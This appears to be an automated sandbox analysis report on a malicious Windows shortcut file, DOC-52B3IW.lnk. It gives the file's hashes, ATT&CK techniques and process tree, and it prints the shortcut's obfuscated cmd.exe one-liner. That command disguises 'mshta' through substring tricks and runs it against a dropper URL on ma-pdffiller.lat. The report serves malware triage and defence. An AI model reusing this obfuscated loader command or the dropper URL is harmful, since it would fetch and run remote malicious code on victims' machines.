8222519d4d41e0103ca2d0aae0161193c019a13b758b1688605db799bb6fdfc4

Analysis

max time kernel
38s
max time network
41s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
03/08/2026, 16:58

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General

Target
DOC-52B3IW.lnk
Size 2KB
Sample260803-vg6bhsfp4w
SHA256 8222519d4d41e0103ca2d0aae0161193c019a13b758b1688605db799bb6fdfc4
MD5 a199643564c143010a8510cdbf24b3fe
SHA1 b1b225896629b3dd11751a08a04e174af5aabdb3
SHA512 d2ec49a12d3d80c4ae2f72de2dceb70c00616a6bbec9fd48f66cc3c7289cc4d8cf2a08df3bdc03235d4812584962b9a07fd379006d5ee65187706cdf2e196ff5
TLSH
T1324177907AE90098F2FB8E72ECFA67A1897FB9126CB0D59D0D40824D1422B00E577B27
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3180	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3180 wrote to memory of 1376	3180	cmd.exe	86
PID 1376 wrote to memory of 2748	1376	cmd.exe	87

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-52B3IW.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3180
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D/V:on/c"set ii=syshtsyioybihpfyqzsys&&set ah=cfgtwwimsacfg&&set GNh=19mshtm&&set ME=iazy&&set DvbHC=oldqbjfthnwhxdold&&set yCVj=infetwbxirtsssfkqinf&&set of=10sp03&&set GRZy=8tar7k&&set bvL=1tcat&&set CjqO=logdzooauyykilog&&set bcxa=logcungwzqpbdclog&&set CKQ=winfdupwqwzpwin&&set DBll=baklcxlzmdughjgzrnphsbak&&set gGLWX=tmppkbgodzuutmp&&set kk=https://ma-p@df@fil@ler@.@lat/@h@/esta@g@[email protected]@p?@r=391@46@9FB@5@D8@2@DB&&start /b !GNh:~2,4!!ME:~1,1! !kk:@=!&&set lxpiD=done"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1376
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:2748

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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